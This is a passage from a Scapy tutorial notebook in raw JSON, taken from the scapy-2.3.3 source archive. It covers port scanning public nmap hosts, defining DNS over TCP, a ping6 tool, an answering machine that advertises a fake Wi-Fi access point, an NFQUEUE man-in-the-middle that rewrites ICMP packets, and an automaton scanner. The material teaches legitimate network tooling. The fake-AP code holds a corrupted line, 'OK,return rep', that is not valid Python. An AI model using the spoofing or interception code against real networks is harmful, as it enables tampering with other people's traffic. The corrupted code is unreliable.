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\n", "text": [ "" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 23, "text": [ "[[]]" ] } ], "prompt_number": 23 }, { "cell_type": "markdown", "metadata": {}, "source": [ "The `PacketList.make_table()` function can be very helpful. Here is a simple \"port scanner\":" ] }, { "cell_type": "code", "collapsed": false, "input": [ "ans = sr(IP(dst=[\"scanme.nmap.org\", \"nmap.org\"])/TCP(dport=[22, 80, 443, 31337]), timeout=3, verbose=False)[0]\n", "ans.extend(sr(IP(dst=[\"scanme.nmap.org\", \"nmap.org\"])/UDP(dport=53)/DNS(qd=DNSQR()), timeout=3, verbose=False)[0])\n", "ans.make_table(lambda (x, y): (x[IP].dst, x.sprintf('%IP.proto%/{TCP:%r,TCP.dport%}{UDP:%r,UDP.dport%}'), y.sprintf('{TCP:%TCP.flags%}{ICMP:%ICMP.type%}')))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ " 45.33.32.156 45.33.49.119 \n", "tcp/22 SA SA \n", "tcp/31337 SA RA \n", "tcp/443 RA SA \n", "tcp/80 SA SA \n", "udp/53 dest-unreach - \n" ] } ], "prompt_number": 29 }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Implementing a new protocol" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scapy can be easily extended to support new protocols.\n", "\n", "The following example defines DNS over TCP. The `DNSTCP` class inherits from `Packet` and defines two field: the length, and the real DNS message. The `length_of` and `length_from` arguments link the `len` and `dns` fields together. Scapy will be able to automatically compute the `len` value." ] }, { "cell_type": "code", "collapsed": false, "input": [ "class DNSTCP(Packet):\n", " name = \"DNS over TCP\"\n", " \n", " fields_desc = [ FieldLenField(\"len\", None, fmt=\"!H\", length_of=\"dns\"),\n", " PacketLenField(\"dns\", 0, DNS, length_from=lambda p: p.len)]\n", " \n", " # This method tells Scapy that the next packet must be decoded with DNSTCP\n", " def guess_payload_class(self, payload):\n", " return DNSTCP" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 119 }, { "cell_type": "markdown", "metadata": {}, "source": [ "This new packet definition can be direcly used to build a DNS message over TCP." ] }, { "cell_type": "code", "collapsed": false, "input": [ "# Build then decode a DNS message over TCP\n", "DNSTCP(str(DNSTCP(dns=DNS())))" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 120, "text": [ " |>" ] } ], "prompt_number": 120 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Modifying the previous `StreamSocket` example to use TCP allows to use the new `DNSCTP` layer easily." ] }, { "cell_type": "code", "collapsed": false, "input": [ "import socket\n", "\n", "sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # create an TCP socket\n", "sck.connect((\"8.8.8.8\", 53)) # connect to 8.8.8.8 on 53/TCP\n", "\n", "# Create the StreamSocket and gives the class used to decode the answer\n", "ssck = StreamSocket(sck)\n", "ssck.basecls = DNSTCP\n", "\n", "# Send the DNS query\n", "ssck.sr1(DNSTCP(dns=DNS(rd=1, qd=DNSQR(qname=\"www.example.com\"))))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "\n", "Received 1 packets, got 1 answers, remaining 0 packets\n", "Begin emission:\n", "Finished to send 1 packets.\n" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 122, "text": [ " an= ns=None ar=None |> |>" ] } ], "prompt_number": 122 }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Scapy as a module" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "So far, Scapy was only used from the command line. It is also a Python module than can be used to build specific network tools, such as ping6.py:" ] }, { "cell_type": "code", "collapsed": false, "input": [ " from scapy.all import *\n", " import argparse\n", "\n", " parser = argparse.ArgumentParser(description=\"A simple ping6\")\n", " parser.add_argument(\"ipv6_address\", help=\"An IPv6 address\")\n", " args = parser.parse_args()\n", "\n", " print sr1(IPv6(dst=args.ipv6_address)/ICMPv6EchoRequest(), verbose=0).summary()" ], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Answering machines" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "A lot of attack scenarios look the same: you want to wait for a specific packet, then send an answer to trigger the attack.\n", "\n", "To this extent, Scapy provides the `AnsweringMachine` object. Two methods are especially useful:\n", "1. `is_request()`: return True if the `pkt` is the expected request\n", "2. `make_reply()`: return the packet that must be sent\n", "\n", "The following example uses Scapy Wi-Fi capabilities to pretend that a \"Scapy !\" access point exists.\n", "\n", "Note: your Wi-Fi interface must be set to monitor mode !" ] }, { "cell_type": "code", "collapsed": false, "input": [ "# Specify the Wi-Fi monitor interface\n", "#conf.iface = \"mon0\" # uncomment to test\n", "\n", "# Create an answering machine\n", "class ProbeRequest_am(AnsweringMachine):\n", " function_name = \"pram\"\n", "\n", " # The fake mac of the fake access point\n", " mac = \"00:11:22:33:44:55\"\n", "\n", " def is_request(self, pkt):\n", " return Dot11ProbeReq in pkt\n", "\n", " def make_reply(self, req):\n", "\n", " rep = RadioTap()\n", " # Note: depending on your Wi-Fi card, you might need a different header than RadioTap()\n", " rep /= Dot11(addr1=req.addr2, addr2=self.mac, addr3=self.mac, ID=RandShort(), SC=RandShort())\n", " rep /= Dot11ProbeResp(cap=\"ESS\", timestamp=time.time())\n", " rep /= Dot11Elt(ID=\"SSID\",info=\"Scapy !\")\n", " rep /= Dot11Elt(ID=\"Rates\",info='\\x82\\x84\\x0b\\x16\\x96')\n", " rep /= Dot11Elt(ID=\"DSset\",info=chr(10))\n", "\n", " OK,return rep\n", "\n", "# Start the answering machine\n", "#ProbeRequest_am()() # uncomment to test" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 129 }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Cheap Man-in-the-middle with NFQUEUE" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "NFQUEUE is an iptables target than can be used to transfer packets to userland process. As a nfqueue module is available in Python, you can take advantage of this Linux feature to perform Scapy based MiTM.\n", "\n", "This example intercepts ICMP Echo request messages sent to 8.8.8.8, sent with the ping command, and modify their sequence numbers. In order to pass packets to Scapy, the following `iptable` command put packets into the NFQUEUE #2807:\n", "\n", "$ sudo iptables -I OUTPUT --destination 8.8.8.8 -p icmp -o eth0 -j NFQUEUE --queue-num 2807" ] }, { "cell_type": "code", "collapsed": false, "input": [ " from scapy.all import *\n", " import nfqueue, socket\n", "\n", " def scapy_cb(i, payload):\n", " s = payload.get_data() # get and parse the packet\n", " p = IP(s)\n", "\n", " # Check if the packet is an ICMP Echo Request to 8.8.8.8\n", " if p.dst == \"8.8.8.8\" and ICMP in p:\n", " # Delete checksums to force Scapy to compute them\n", " del(p[IP].chksum, p[ICMP].chksum)\n", " \n", " # Set the ICMP sequence number to 0\n", " p[ICMP].seq = 0\n", " \n", " # Let the modified packet go through\n", " ret = payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(p), len(p))\n", " \n", " else:\n", " # Accept all packets\n", " payload.set_verdict(nfqueue.NF_ACCEPT)\n", "\n", " # Get an NFQUEUE handler\n", " q = nfqueue.queue()\n", " # Set the function that will be call on each received packet\n", " q.set_callback(scapy_cb)\n", " # Open the queue & start parsing packes\n", " q.fast_open(2807, socket.AF_INET)\n", " q.try_run()" ], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "Automaton" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "When more logic is needed, Scapy provides a clever way abstraction to define an automaton. In a nutshell, you need to define an object that inherits from `Automaton`, and implement specific methods:\n", "- states: using the `@ATMT.state` decorator. They usually do nothing\n", "- conditions: using the `@ATMT.condition` and `@ATMT.receive_condition` decorators. They describe how to go from one state to another\n", "- actions: using the `ATMT.action` decorator. They describe what to do, like sending a back, when changing state" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The following example does nothing more than trying to mimic a TCP scanner:" ] }, { "cell_type": "code", "collapsed": false, "input": [ "class TCPScanner(Automaton):\n", "\n", " @ATMT.state(initial=1)\n", " def BEGIN(self):\n", " pass\n", "\n", " @ATMT.state()\n", " def SYN(self):\n", " print \"-> SYN\"\n", "\n", " @ATMT.state()\n", " def SYN_ACK(self):\n", " print \"<- SYN/ACK\"\n", " raise self.END()\n", "\n", " @ATMT.state()\n", " def RST(self):\n", " print \"<- RST\"\n", " raise self.END()\n", "\n", " @ATMT.state()\n", " def ERROR(self):\n", " print \"!! ERROR\"\n", " raise self.END()\n", " @ATMT.state(final=1)\n", " def END(self):\n", " pass\n", " \n", " @ATMT.condition(BEGIN)\n", " def condition_BEGIN(self):\n", " raise self.SYN()\n", "\n", " @ATMT.condition(SYN)\n", " def condition_SYN(self):\n", "\n", " if random.randint(0, 1):\n", " raise self.SYN_ACK()\n", " else:\n", " raise self.RST()\n", "\n", " @ATMT.timeout(SYN, 1)\n", " def timeout_SYN(self):\n", " raise self.ERROR()\n", "\n", "TCPScanner().run()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "-> SYN\n", "<- SYN/ACK\n" ] } ], "prompt_number": 6 }, { "cell_type": "code", "collapsed": false, "input": [ "TCPScanner().run()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "-> SYN\n", "<- RST\n" ] } ], "prompt_number": 7 }, { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "Pipes" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Pipes are an advanced Scapy feature that aims sniffing, modifying and printing packets. The API provides several buildings blocks. All of them, have high entries and exits (>>) as well as low (>) ones.\n", "\n", "For example, the `CliFeeder` is used to send message from the Python command line to a low exit. It can be combined to the `InjectSink` that reads message on its low entry and inject them to the specified network interface. These blocks can be combined as follows:" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "# Instanciate the blocks\n", "clf = CLIFeeder()\n", "ijs = InjectSink(\"enx3495db043a28\")\n", "\n", "# Plug blocks together\n", "clf > ijs\n", "\n", "# Create and start the engine\n", "pe = PipeEngine(clf)\n", "pe.start()" ] }, { "cell_type": "raw", "metadata": {}, "source": [ "Packet can be sent using the following command on the prompt:\n", "\n", "clf.send(\"Hello Scapy !\")" ] } ], "metadata": {} } ] } scapy-2.3.3/doc/notebooks/graphs-ipids.ipynb000066400000000000000000001624701300136037300210510ustar00rootroot00000000000000{ "metadata": { "name": "" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { 